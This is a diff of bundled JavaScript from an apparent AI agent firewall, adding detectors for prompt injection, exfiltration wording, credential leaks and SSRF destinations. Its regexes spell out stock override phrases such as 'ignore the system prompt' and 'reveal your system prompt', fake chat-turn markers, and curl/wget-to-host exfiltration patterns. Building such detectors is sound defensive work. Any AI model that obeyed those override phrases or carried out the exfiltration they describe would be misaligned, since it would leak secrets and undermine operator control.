|
+
/\bnew (instructions?|directives?)\s*:/i,
|
|
9588
|
+
/\bnew directive\b/i,
|
|
9589
|
+
/\boverride\s*:/i,
|
|
9590
|
+
/\bsystem note\s*:/i,
|
|
8584
9591
|
/\bdeveloper mode\b/i,
|
|
8585
9592
|
/\bignore (the )?system prompt\b/i,
|
|
9593
|
+
/\b(reveal|print|show|output|repeat|display|dump)\b[^.!?\n]{0,30}\b(system prompt|hidden instructions|initial instructions|your instructions)\b/i,
|
|
8586
9594
|
/\b(do not|don'?t|never)\b[^.!?\n]{0,20}\btell the (user|human)\b/i,
|
|
8587
9595
|
/\boverride (your|the)\b[^.!?\n]{0,20}\b(instruction|instructions|programming|rules?|guardrails?)\b/i
|
|
8588
9596
|
]
|
|
@@ -8593,6 +9601,7 @@ var SIGNALS = [
|
|
|
8593
9601
|
/^\s*(system|assistant)\s*:/im,
|
|
8594
9602
|
// a line impersonating a conversation turn
|
|
8595
9603
|
/<\/?system>/i,
|
|
9604
|
+
/\[\s*system\s*\]/i,
|
|
8596
9605
|
/\[\/?INST\]/i,
|
|
8597
9606
|
/<\|im_(start|end)\|>/i
|
|
8598
9607
|
]
|
|
@@ -8600,13 +9609,36 @@ var SIGNALS = [
|
|
|
8600
9609
|
{
|
|
8601
9610
|
name: "action-to-destination",
|
|
8602
9611
|
any: [
|
|
8603
|
-
// exfil verb + to/at + a url / email / domain
|
|
8604
|
-
|
|
9612
|
+
// exfil verb + to/at/with/into + a url / email / domain. "email" after a
|
|
9613
|
+
// possessive ("your email", "my email") is the noun, not the verb (X4).
|
|
9614
|
+
// "log in to", "report issues at", "share feedback with" and "submit
|
|
9615
|
+
// your form at" are how ordinary pages talk, so log, report, share and
|
|
9616
|
+
// submit count only in the past tense ("logged to", "shared with").
|
|
9617
|
+
// A dot inside a word (a host, a file name) does not end the window; a
|
|
9618
|
+
// dot that ends a sentence does.
|
|
9619
|
+
/\b(send|sent|post(?:ed)?|upload(?:ed)?|exfiltrate[sd]?|forward(?:ed|s)?|transmit(?:ted|s)?|shared|submitted|logged|reported|curl|wget|leak(?:ed|s)?|(?<!\b(?:your|my|the|an|a|this|that|our|their|his|her)\s+)email(?:ed|s)?)\b(?:[^.\n!?]|\.(?=\S)){0,40}\b(to|at|with|into)\b(?:[^.\n!?]|\.(?=\S)){0,24}(https?:\/\/|[\w.-]+@[\w.-]+\.[a-z]{2,}|[\w-]+\.[a-z]{2,})/i,
|
|
8605
9620
|
/\brun (the )?following (command|code|script)\b/i,
|
|
8606
|
-
/\bexecute (this|the following)\b/i
|
|
9621
|
+
/\bexecute (this|the following)\b/i,
|
|
9622
|
+
/\bdecode\b[^.!?\n]{0,40}\b(and|then)\b[^.!?\n]{0,12}\b(execute|run|eval)\b/i,
|
|
9623
|
+
/\bcall\b[^.!?\n]{0,30}\b(tool|function|endpoint)\b[^.!?\n]{0,30}\b(url|link|address)\b/i
|
|
8607
9624
|
]
|
|
8608
9625
|
}
|
|
8609
9626
|
];
|
|
9627
|
+
var MENTION_QUOTE_RE = /["'`“‘(]\s*$/;
|
|
9628
|
+
var MENTION_WORD_RE = /\b(?:say|says|saying|said|such as|like|pattern|patterns|phrase|phrases|string|strings|text|e\.g\.|example|examples|contains?|containing|detects?|filters?|flags?|blocks?|matches|keywords?|wording|marker|markers)\b/i;
|
|
9629
|
+
function matchesOutsideMention(re, text) {
|
|
9630
|
+
const g = new RegExp(re.source, re.flags.includes("g") ? re.flags : re.flags + "g");
|
|
9631
|
+
let m;
|
|
9632
|
+
while ((m = g.exec(text)) !== null) {
|
|
9633
|
+
if (m[0].length === 0) {
|
|
9634
|
+
g.lastIndex = m.index + 1;
|
|
9635
|
+
continue;
|
|
9636
|
+
}
|
|
9637
|
+
const before = text.slice(Math.max(0, m.index - 48), m.index);
|
|
9638
|
+
if (!(MENTION_QUOTE_RE.test(before) && MENTION_WORD_RE.test(before))) return true;
|
|
9639
|
+
}
|
|
9640
|
+
return false;
|
|
9641
|
+
}
|
|
8610
9642
|
function scanInjection(text, ctx = {}) {
|
|
8611
9643
|
if (!text) return null;
|
|
8612
9644
|
const t = text.length > MAX ? text.slice(0, MAX) : text;
|
|
@@ -8614,7 +9646,8 @@ function scanInjection(text, ctx = {}) {
|
|
|
8614
9646
|
for (const view of scanViews(t)) {
|
|
8615
9647
|
for (const sig of SIGNALS) {
|
|
8616
9648
|
if (matched.includes(sig.name)) continue;
|
|
8617
|
-
|
|
9649
|
+
const hit = sig.name === "override-instructions" ? sig.any.some((re) => matchesOutsideMention(re, view.text)) : sig.any.some((re) => re.test(view.text));
|
|
9650
|
+
if (hit) matched.push(sig.name);
|
|
8618
9651
|
}
|
|
8619
9652
|
}
|
|
8620
9653
|
if (matched.length === 0) return null;
|
|
@@ -8709,7 +9742,7 @@ function looksGenerated(value, minLength, minEntropy, lettersOnlyAllowed = false
|
|
|
8709
9742
|
if (rejectedByStructuredValidator(value)) return false;
|
|
8710
9743
|
return shannonEntropy(value) >= minEntropy;
|
|
8711
9744
|
}
|
|
8712
|
-
var FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)/i;
|
|
9745
|
+
var FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)|^public/i;
|
|
8713
9746
|
var DERIVATIVE_NAME_RE = /(?:hash|digest|fingerprint|thumbprint|checksum|id|type|name|url|uri|path|file|len|length|count|size|ttl|expires?|expiry|age|date|time|format|field|header|param)$/i;
|
|
8714
9747
|
function nameHoldsCredential(name) {
|
|
8715
9748
|
return !FIXTURE_NAME_RE.test(name) && !DERIVATIVE_NAME_RE.test(name);
|
|
@@ -8728,9 +9761,9 @@ function validateQueryCredential(raw) {
|
|
|
8728
9761
|
if (!/[0-9]/.test(value) || !/[A-Za-z]/.test(value)) return false;
|
|
8729
9762
|
return looksGenerated(value, 12, 3);
|
|
8730
9763
|
}
|
|
8731
|
-
var ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/_
|
|
9764
|
+
var ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})$/;
|
|
8732
9765
|
var ASSIGNED_SECRET_NAME_RE = /^([A-Za-z0-9_]+)/;
|
|
8733
|
-
var NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|jsapi[_-]?ticket|pass)/i;
|
|
9766
|
+
var NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|pass)/i;
|
|
8734
9767
|
function keywordEndsAPart(name) {
|
|
8735
9768
|
const keyword = name.match(NAME_KEYWORD_RE)?.[0];
|
|
8736
9769
|
if (!keyword) return false;
|
|
@@ -8748,7 +9781,64 @@ function validateAssignedSecret(raw, before = "") {
|
|
|
8748
9781
|
if (ARN_CONTEXT_RE.test(before)) return false;
|
|
8749
9782
|
const prefix = (before.match(/[A-Za-z0-9_]*$/)?.[0] ?? "") + (raw.startsWith("_") ? "_" : "");
|
|
8750
9783
|
if (!nameHoldsCredential(prefix + name)) return false;
|
|
8751
|
-
|
|
9784
|
+
if (isOtpDocSecret(value)) return false;
|
|
9785
|
+
const mixed = /[0-9]/.test(value) && /[A-Za-z]/.test(value);
|
|
9786
|
+
return looksGenerated(value, 12, mixed ? 3 : 3.5);
|
|
9787
|
+
}
|
|
9788
|
+
var CIPHER_KEY_NAME_RE = /^([A-Za-z_][\w.]{0,40})/;
|
|
9789
|
+
var CIPHER_NAME_PARTS = /* @__PURE__ */ new Set([
|
|
9790
|
+
"cipher",
|
|
9791
|
+
"aes",
|
|
9792
|
+
"enc",
|
|
9793
|
+
"encrypt",
|
|
9794
|
+
"encryption",
|
|
9795
|
+
"crypt",
|
|
9796
|
+
"crypto",
|
|
9797
|
+
"secret",
|
|
9798
|
+
"remember",
|
|
9799
|
+
"rememberme",
|
|
9800
|
+
"shiro",
|
|
9801
|
+
"signing",
|
|
9802
|
+
"hmac",
|
|
9803
|
+
"master",
|
|
9804
|
+
"private",
|
|
9805
|
+
"des"
|
|
9806
|
+
]);
|
|
9807
|
+
var CIPHER_KEY_VALUE_RE = /([A-Za-z0-9+/]{22}==)$/;
|
|
9808
|
+
function validateCipherKeyLiteral(raw) {
|
|
9809
|
+
const name = capturedValue(raw, CIPHER_KEY_NAME_RE);
|
|
9810
|
+
const value = capturedValue(raw, CIPHER_KEY_VALUE_RE);
|
|
9811
|
+
if (name === null || value === null) return false;
|
|
9812
|
+
if (/pub/i.test(name) || !nameHoldsCredential(name)) return false;
|
|
9813
|
+
const parts = name.replace(/([a-z0-9])([A-Z])/g, "$1_$2").toLowerCase().split(/[_.-]+/);
|
|
9814
|
+
if (!parts.some((p) => CIPHER_NAME_PARTS.has(p))) return false;
|
|
9815
|
+
if (!/[a-z]/.test(value) || !/[A-Z]/.test(value) || !/[0-9]/.test(value)) return false;
|
|
9816
|
+
const bytes = Buffer.from(value, "base64");
|
|
9817
|
+
return bytes.length === 16 && bytes.toString("base64") === value;
|
|
9818
|
+
}
|
|
9819
|
+
var LARAVEL_KEY_VALUE_RE = /base64:([A-Za-z0-9+/]{43}=)$/;
|
|
9820
|
+
function validateLaravelAppKey(raw) {
|
|
9821
|
+
const value = capturedValue(raw, LARAVEL_KEY_VALUE_RE);
|
|
9822
|
+
if (value === null) return false;
|
|
9823
|
+
const bytes = Buffer.from(value, "base64");
|
|
9824
|
+
return bytes.length === 32 && bytes.toString("base64") === value && shannonEntropy(value) >= 3;
|
|
9825
|
+
}
|
|
9826
|
+
var SQL_PASSWORD_VALUE_RE = /['"]([^'"\s]{8,128})['"]$/;
|
|
9827
|
+
function validateSqlPassword(raw) {
|
|
9828
|
+
const value = capturedValue(raw, SQL_PASSWORD_VALUE_RE);
|
|
9829
|
+
if (value === null) return false;
|
|
9830
|
+
const lower2 = value.toLowerCase();
|
|
9831
|
+
if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || REFERENCE_VALUE_RE.test(value))
|
|
9832
|
+
return false;
|
|
9833
|
+
if (/^[a-z]+$/i.test(value) && value.length < 12) return false;
|
|
9834
|
+
return shannonEntropy(value) >= 2.5 && !hasSequentialRun(value);
|
|
9835
|
+
}
|
|
9836
|
+
var GRAFANA_KEY_VALUE_RE = /(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})$/;
|
|
9837
|
+
function validateGrafanaApiKey(raw) {
|
|
9838
|
+
const value = capturedValue(raw, GRAFANA_KEY_VALUE_RE);
|
|
9839
|
+
if (value === null) return false;
|
|
9840
|
+
const text = Buffer.from(value, "base64").toString("utf8");
|
|
9841
|
+
return /^\{"k":"[A-Za-z0-9]{16,}"/.test(text);
|
|
8752
9842
|
}
|
|
8753
9843
|
var BASIC_VALUE_RE = /([A-Za-z0-9+/]{8,512}={0,2})$/;
|
|
8754
9844
|
var BASIC_PAIR_RE = /^([^:\s]{1,128}):(\S{8,256})$/;
|
|
@@ -8774,6 +9864,14 @@ function validateBasicCredential(raw) {
|
|
|
8774
9864
|
return shannonEntropy(password) >= 3;
|
|
8775
9865
|
}
|
|
8776
9866
|
var OTP_CAPTURE_RE = /["']([A-Z2-7]{16,128}=*)["']$/i;
|
|
9867
|
+
var DB_URL_PASSWORD_RE = /:\/\/[^:/\s@]*:([^@\s]{4,})@/;
|
|
9868
|
+
function validateDbConnectionString(raw) {
|
|
9869
|
+
const password = capturedValue(raw, DB_URL_PASSWORD_RE);
|
|
9870
|
+
if (password === null) return false;
|
|
9871
|
+
const lower2 = password.toLowerCase();
|
|
9872
|
+
if (DLP_STOPWORDS.some((sw) => lower2.includes(sw))) return false;
|
|
9873
|
+
return shannonEntropy(raw) >= 3;
|
|
9874
|
+
}
|
|
8777
9875
|
function validateOtpSecret(raw) {
|
|
8778
9876
|
const secret = capturedValue(raw, OTP_CAPTURE_RE);
|
|
8779
9877
|
if (secret === null || isOtpDocSecret(secret)) return false;
|
|
@@ -8976,7 +10074,8 @@ var DLP_PATTERNS = [
|
|
|
8976
10074
|
// ── Private keys (PEM) ────────────────────────────────────────────────────
|
|
8977
10075
|
{
|
|
8978
10076
|
name: "Private Key (PEM)",
|
|
8979
|
-
|
|
10077
|
+
// DSA and ENCRYPTED headers, and a PGP private key block (node9Firewall#385).
|
|
10078
|
+
regex: /-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED |PGP )?PRIVATE KEY(?: BLOCK)?-----/,
|
|
8980
10079
|
severity: "block",
|
|
8981
10080
|
keywords: ["-----begin"]
|
|
8982
10081
|
},
|
|
@@ -9257,7 +10356,7 @@ var DLP_PATTERNS = [
|
|
|
9257
10356
|
"clickhouse",
|
|
9258
10357
|
"cassandra"
|
|
9259
10358
|
],
|
|
9260
|
-
|
|
10359
|
+
validate: validateDbConnectionString
|
|
9261
10360
|
},
|
|
9262
10361
|
// ── Credential in a URL query value ───────────────────────────────────────
|
|
9263
10362
|
// A query parameter whose key names a secret (`?secret=`, `&apiKey=`,
|
|
@@ -9286,6 +10385,63 @@ var DLP_PATTERNS = [
|
|
|
9286
10385
|
redactGroup: 1,
|
|
9287
10386
|
argumentsOnly: true
|
|
9288
10387
|
},
|
|
10388
|
+
// ── Shapes from the CredData review (fw#372 B4, node9Firewall#385) ────────
|
|
10389
|
+
// All review and argumentsOnly, like Assigned Secret: the live gate asks,
|
|
10390
|
+
// the raw scanners stay as they were.
|
|
10391
|
+
{
|
|
10392
|
+
name: "Cipher Key Literal",
|
|
10393
|
+
regex: /\b([A-Za-z_][\w.]{0,40}key)[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/]{22}==)/i,
|
|
10394
|
+
severity: "review",
|
|
10395
|
+
keywords: ["key"],
|
|
10396
|
+
validate: validateCipherKeyLiteral,
|
|
10397
|
+
redactGroup: 2,
|
|
10398
|
+
argumentsOnly: true
|
|
10399
|
+
},
|
|
10400
|
+
{
|
|
10401
|
+
name: "Laravel App Key",
|
|
10402
|
+
regex: /\bAPP_KEY[ \t]{0,8}=[ \t]{0,8}["']?(base64:[A-Za-z0-9+/]{43}=)/,
|
|
10403
|
+
severity: "review",
|
|
10404
|
+
keywords: ["app_key"],
|
|
10405
|
+
validate: validateLaravelAppKey,
|
|
10406
|
+
redactGroup: 1,
|
|
10407
|
+
argumentsOnly: true
|
|
10408
|
+
},
|
|
10409
|
+
{
|
|
10410
|
+
// `key-` plus 32 hex characters, Mailgun's legacy private key shape.
|
|
10411
|
+
name: "Mailgun API Key",
|
|
10412
|
+
regex: /\bkey-[0-9a-f]{32}\b/,
|
|
10413
|
+
severity: "review",
|
|
10414
|
+
keywords: ["key-"],
|
|
10415
|
+
argumentsOnly: true
|
|
10416
|
+
},
|
|
10417
|
+
{
|
|
10418
|
+
// A kubeadm bootstrap token, named as one by its flag or key.
|
|
10419
|
+
name: "Kubeadm Bootstrap Token",
|
|
10420
|
+
regex: /(?:--token[= ]|\btoken:[ \t]{0,8}|--discovery-token[= ])([a-z0-9]{6}\.[a-z0-9]{16})\b/,
|
|
10421
|
+
severity: "review",
|
|
10422
|
+
keywords: ["token"],
|
|
10423
|
+
redactGroup: 1,
|
|
10424
|
+
argumentsOnly: true
|
|
10425
|
+
},
|
|
10426
|
+
{
|
|
10427
|
+
// `CREATE USER ... IDENTIFIED BY 'x'` (MySQL, Oracle), `WITH PASSWORD 'x'` (Postgres).
|
|
10428
|
+
name: "SQL Account Password",
|
|
10429
|
+
regex: /\b(?:IDENTIFIED\s+BY|WITH\s+PASSWORD)\s*['"]([^'"\s]{8,128})['"]/i,
|
|
10430
|
+
severity: "review",
|
|
10431
|
+
keywords: ["identified by", "with password"],
|
|
10432
|
+
validate: validateSqlPassword,
|
|
10433
|
+
redactGroup: 1,
|
|
10434
|
+
argumentsOnly: true
|
|
10435
|
+
},
|
|
10436
|
+
{
|
|
10437
|
+
// The provisioned (legacy) Grafana API key: base64 of a JSON object with k, n and id.
|
|
10438
|
+
name: "Grafana API Key",
|
|
10439
|
+
regex: /\b(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})/,
|
|
10440
|
+
severity: "block",
|
|
10441
|
+
keywords: ["eyjrijoi"],
|
|
10442
|
+
validate: validateGrafanaApiKey,
|
|
10443
|
+
redactGroup: 1
|
|
10444
|
+
},
|
|
9289
10445
|
// ── Secret assigned to a telling name ─────────────────────────────────────
|
|
9290
10446
|
// `password: ...`, `JWT_SECRET=...`, `api_key = "..."`. The name alone is
|
|
9291
10447
|
// not a finding: most such lines hold a reference (`process.env.X`), a
|
|
@@ -9298,7 +10454,10 @@ var DLP_PATTERNS = [
|
|
|
9298
10454
|
// name are written out, not as a counted group, to keep star height 1.
|
|
9299
10455
|
{
|
|
9300
10456
|
name: "Assigned Secret",
|
|
9301
|
-
|
|
10457
|
+
// fw#372 B4: `aes_key`, `cipher_key`, `subscription_key` join the names; a
|
|
10458
|
+
// backtick may close the name; `|` and `\` may occur in the value
|
|
10459
|
+
// (`\/` is how JSON escapes a slash).
|
|
10460
|
+
regex: /(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|\bpass(?![A-Za-z0-9])|_pass(?![A-Za-z0-9]))[A-Za-z0-9_]{0,40}\\?["'\]`]?\\?["'\]`]?[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})/i,
|
|
9302
10461
|
severity: "review",
|
|
9303
10462
|
keywords: ["pass", "pwd", "secret", "token", "key", "ticket"],
|
|
9304
10463
|
validate: validateAssignedSecret,
|
|
@@ -9564,8 +10723,8 @@ function scanArgs(args, depth = 0, fieldPath = "args") {
|
|
|
9564
10723
|
}
|
|
9565
10724
|
return null;
|
|
9566
10725
|
}
|
|
9567
|
-
|
|
9568
|
-
|
|
10726
|
+
var ENCODED_RUN_RE = /[A-Za-z0-9+/_-]{24,}|(?:%[0-9a-fA-F]{2}){4,}/;
|
|
10727
|
+
function scanTextOnce(t, redactedSample) {
|
|
9569
10728
|
const tLower = t.toLowerCase();
|
|
9570
10729
|
for (const pattern of DLP_PATTERNS) {
|
|
9571
10730
|
if (pattern.argumentsOnly) continue;
|
|
@@ -9577,12 +10736,26 @@ function scanText(text) {
|
|
|
9577
10736
|
return {
|
|
9578
10737
|
patternName: pattern.name,
|
|
9579
10738
|
fieldPath: "response-text",
|
|
9580
|
-
redactedSample: maskSecret(raw, pattern.regex),
|
|
10739
|
+
redactedSample: redactedSample ?? maskSecret(raw, pattern.regex),
|
|
9581
10740
|
severity: pattern.severity
|
|
9582
10741
|
};
|
|
9583
10742
|
}
|
|
9584
10743
|
return null;
|
|
9585
10744
|
}
|
|
10745
|
+
function scanText(text) {
|
|
10746
|
+
const t = text.length > MAX_STRING_BYTES ? text.slice(0, MAX_STRING_BYTES) : text;
|
|
10747
|
+
const direct = scanTextOnce(t);
|
|
10748
|
+
if (direct) return direct;
|
|
10749
|
+
if (!ENCODED_RUN_RE.test(t)) return null;
|
|
10750
|
+
try {
|
|
10751
|
+
for (const view of secretViews(t, newSecretViewBudget())) {
|
|
10752
|
+
const m = scanTextOnce(view.text, "[encoded secret]");
|
|
10753
|
+
if (m) return m;
|
|
10754
|
+
}
|
|
10755
|
+
} catch {
|
|
10756
|
+
}
|
|
10757
|
+
return null;
|
|
10758
|
+
}
|
|
9586
10759
|
function redactText(text) {
|
|
9587
10760
|
let result = text;
|
|
9588
10761
|
const found = [];
|
|
@@ -11304,20 +12477,38 @@ function hostOf(value) {
|
|
|
11304
12477
|
}
|
|
11305
12478
|
function extractToolDestinations(toolName, args) {
|
|
11306
12479
|
try {
|
|
11307
|
-
const paths = DESTINATION_ARGS.get(bareToolName(toolName));
|
|
11308
|
-
if (!paths) return [];
|
|
11309
12480
|
const out = [];
|
|
12481
|
+
const paths = DESTINATION_ARGS.get(bareToolName(toolName)) ?? [];
|
|
11310
12482
|
for (const path of paths) {
|
|
11311
12483
|
for (const value of valuesAt(args, path)) {
|
|
11312
12484
|
const host2 = hostOf(value);
|
|
11313
12485
|
if (host2) out.push({ host: host2, binary: toolName, raw: value });
|
|
11314
12486
|
}
|
|
11315
12487
|
}
|
|
12488
|
+
if (paths.length === 0 && /^mcp__/i.test(toolName) && args && typeof args === "object") {
|
|
12489
|
+
for (const key of MCP_DESTINATION_KEYS) {
|
|
12490
|
+
const value = args[key];
|
|
12491
|
+
if (typeof value !== "string") continue;
|
|
12492
|
+
const host2 = hostOf(value);
|
|
12493
|
+
if (host2) out.push({ host: host2, binary: toolName, raw: value });
|
|
12494
|
+
}
|
|
12495
|
+
}
|
|
11316
12496
|
return out;
|
|
11317
12497
|
} catch {
|
|
11318
12498
|
return [];
|
|
11319
12499
|
}
|
|
11320
12500
|
}
|
|
12501
|
+
var MCP_DESTINATION_KEYS = [
|
|
12502
|
+
"destination",
|
|
12503
|
+
"endpoint",
|
|
12504
|
+
"webhook",
|
|
12505
|
+
"webhook_url",
|
|
12506
|
+
"callback_url"
|
|
12507
|
+
];
|
|
12508
|
+
function writtenAuthority(value) {
|
|
12509
|
+
const m = /^[a-z][a-z0-9+.-]*:\/\/(?:[^@/?#]*@)?(\[[^\]]*\]|[^:/?#]*)/i.exec(value);
|
|
12510
|
+
return m && m[1] ? m[1] : null;
|
|
12511
|
+
}
|
|
11321
12512
|
function ssrfDestinationFloor(toolName, args, opts = {}) {
|
|
11322
12513
|
try {
|
|
11323
12514
|
const paths = DESTINATION_ARGS.get(bareToolName(toolName));
|
|
@@ -11328,9 +12519,11 @@ function ssrfDestinationFloor(toolName, args, opts = {}) {
|
|
|
11328
12519
|
if (!host2) continue;
|
|
11329
12520
|
const m = classifySsrf(host2);
|
|
11330
12521
|
if (!m) continue;
|
|
11331
|
-
|
|
11332
|
-
|
|
11333
|
-
|
|
12522
|
+
const written = writtenAuthority(value) ?? host2;
|
|
12523
|
+
const decision = ssrfFloorDecision(m, written, opts);
|
|
12524
|
+
if (decision === null) continue;
|
|
12525
|
+
const reason = decision === "review" ? ssrfDisguisedReason(m, written) : ssrfReason(m, host2);
|
|
12526
|
+
return { ...m, argPath: path, host: host2, reason, decision };
|
|
11334
12527
|
}
|
|
11335
12528
|
}
|
|
11336
12529
|
return null;
|
|
@@ -11339,207 +12532,6 @@ function ssrfDestinationFloor(toolName, args, opts = {}) {
|
|
|
11339
12532
|
}
|
|
11340
12533
|
}
|
|
11341
12534
|
|
|
11342
|
-
// src/dlp/secret-views.ts
|
|
11343
|
-
var SECRET_VIEW_LIMITS = {
|
|
11344
|
-
/** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
|
|
11345
|
-
maxDepth: 4,
|
|
11346
|
-
/** Nested views per parent view, and nested text per call; past either the call is reviewed. */
|
|
11347
|
-
maxNestedViewsPerLeaf: 64,
|
|
11348
|
-
maxNestedBytes: 1048576,
|
|
11349
|
-
/** Joined hostname-label text per call; past it the call is reviewed. */
|
|
11350
|
-
maxJoinedLabelBytes: 1048576,
|
|
11351
|
-
/** Decoded fragments are matched in batches of about this many characters. */
|
|
11352
|
-
batchCharacters: 65536,
|
|
11353
|
-
/** Only a valid DNS name has its labels joined. */
|
|
11354
|
-
maxHostLength: 253,
|
|
11355
|
-
maxLabelLength: 63,
|
|
11356
|
-
maxLabels: 127
|
|
11357
|
-
};
|
|
11358
|
-
function newSecretViewBudget() {
|
|
11359
|
-
return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
|
|
11360
|
-
}
|
|
11361
|
-
function textBytes(buf) {
|
|
11362
|
-
if (buf.length < 16) return null;
|
|
11363
|
-
const text = buf.toString("utf8");
|
|
11364
|
-
if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
|
|
11365
|
-
return text;
|
|
11366
|
-
}
|
|
11367
|
-
function percentOnce(text) {
|
|
11368
|
-
return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
|
|
11369
|
-
try {
|
|
11370
|
-
return decodeURIComponent(run);
|
|
11371
|
-
} catch {
|
|
11372
|
-
return run.replace(
|
|
11373
|
-
/%([a-f0-9]{2})/gi,
|
|
11374
|
-
(_, h) => String.fromCharCode(parseInt(h, 16))
|
|
11375
|
-
);
|
|
11376
|
-
}
|
|
11377
|
-
});
|
|
11378
|
-
}
|
|
11379
|
-
function* wrappedBase64(text) {
|
|
11380
|
-
if (!text.includes("\n")) return;
|
|
11381
|
-
const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
|
|
11382
|
-
let run = [];
|
|
11383
|
-
let width = 0;
|
|
11384
|
-
const flush = function* () {
|
|
11385
|
-
if (run.length >= 2) yield run.join("");
|
|
11386
|
-
run = [];
|
|
11387
|
-
width = 0;
|
|
11388
|
-
};
|
|
11389
|
-
for (const raw of text.split("\n")) {
|
|
11390
|
-
const line = raw.trim();
|
|
11391
|
-
const full = line.length >= 16 && word.test(line) && !line.includes("=");
|
|
11392
|
-
if (full && (!run.length || line.length === width)) {
|
|
11393
|
-
run.push(line);
|
|
11394
|
-
width = line.length;
|
|
11395
|
-
continue;
|
|
11396
|
-
}
|
|
11397
|
-
if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
|
|
11398
|
-
run.push(line);
|
|
11399
|
-
yield* flush();
|
|
11400
|
-
continue;
|
|
11401
|
-
}
|
|
11402
|
-
yield* flush();
|
|
11403
|
-
if (full) {
|
|
11404
|
-
run.push(line);
|
|
11405
|
-
width = line.length;
|
|
11406
|
-
}
|
|
11407
|
-
}
|
|
11408
|
-
yield* flush();
|
|
11409
|
-
}
|
|
11410
|
-
function* encodedRegions(text, budget) {
|
|
11411
|
-
yield [text, false];
|
|
11412
|
-
for (const block of wrappedBase64(text)) yield [block, false];
|
|
11413
|
-
for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
|
|
11414
|
-
try {
|
|
11415
|
-
new URL(match[0]);
|
|
11416
|
-
} catch {
|
|
11417
|
-
continue;
|
|
11418
|
-
}
|
|
11419
|
-
const parts = match[0].match(
|
|
11420
|
-
/^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
|
|
11421
|
-
);
|
|
11422
|
-
if (!parts) continue;
|
|
11423
|
-
const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
|
|
11424
|
-
const regions = [
|
|
11425
|
-
parts[1],
|
|
11426
|
-
...host2.split("."),
|
|
11427
|
-
...parts[2].split("/"),
|
|
11428
|
-
...(parts[3] ?? "").split("&"),
|
|
11429
|
-
parts[4] ?? ""
|
|
11430
|
-
];
|
|
11431
|
-
for (const region of regions) if (region) yield [region, false];
|
|
11432
|
-
const labels = host2.split(".");
|
|
11433
|
-
if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
|
|
11434
|
-
continue;
|
|
11435
|
-
for (let start = 0; start < labels.length; start++) {
|
|
11436
|
-
let joined = labels[start];
|
|
11437
|
-
for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
|
|
11438
|
-
const run = labels.slice(start, end + 1);
|
|
11439
|
-
if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
|
|
11440
|
-
break;
|
|
11441
|
-
joined += labels[end];
|
|
11442
|
-
if (joined.length < 16) continue;
|
|
11443
|
-
budget.joinedLabelBytes += joined.length;
|
|
11444
|
-
if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
|
|
11445
|
-
budget.reasons.add("decode-labels");
|
|
11446
|
-
return;
|
|
11447
|
-
}
|
|
11448
|
-
yield [joined, true];
|
|
11449
|
-
}
|
|
11450
|
-
}
|
|
11451
|
-
}
|
|
11452
|
-
}
|
|
11453
|
-
function decodeBase32(raw) {
|
|
11454
|
-
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
|
|
11455
|
-
const out = [];
|
|
11456
|
-
let bits = 0;
|
|
11457
|
-
let accumulator = 0;
|
|
11458
|
-
for (const c of raw.toUpperCase()) {
|
|
11459
|
-
accumulator = accumulator << 5 | alphabet.indexOf(c);
|
|
11460
|
-
bits += 5;
|
|
11461
|
-
if (bits >= 8) {
|
|
11462
|
-
bits -= 8;
|
|
11463
|
-
out.push(accumulator >> bits);
|
|
11464
|
-
accumulator &= (1 << bits) - 1;
|
|
11465
|
-
}
|
|
11466
|
-
}
|
|
11467
|
-
if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
|
|
11468
|
-
return Buffer.from(out);
|
|
11469
|
-
}
|
|
11470
|
-
function* decodedCandidates(text, budget) {
|
|
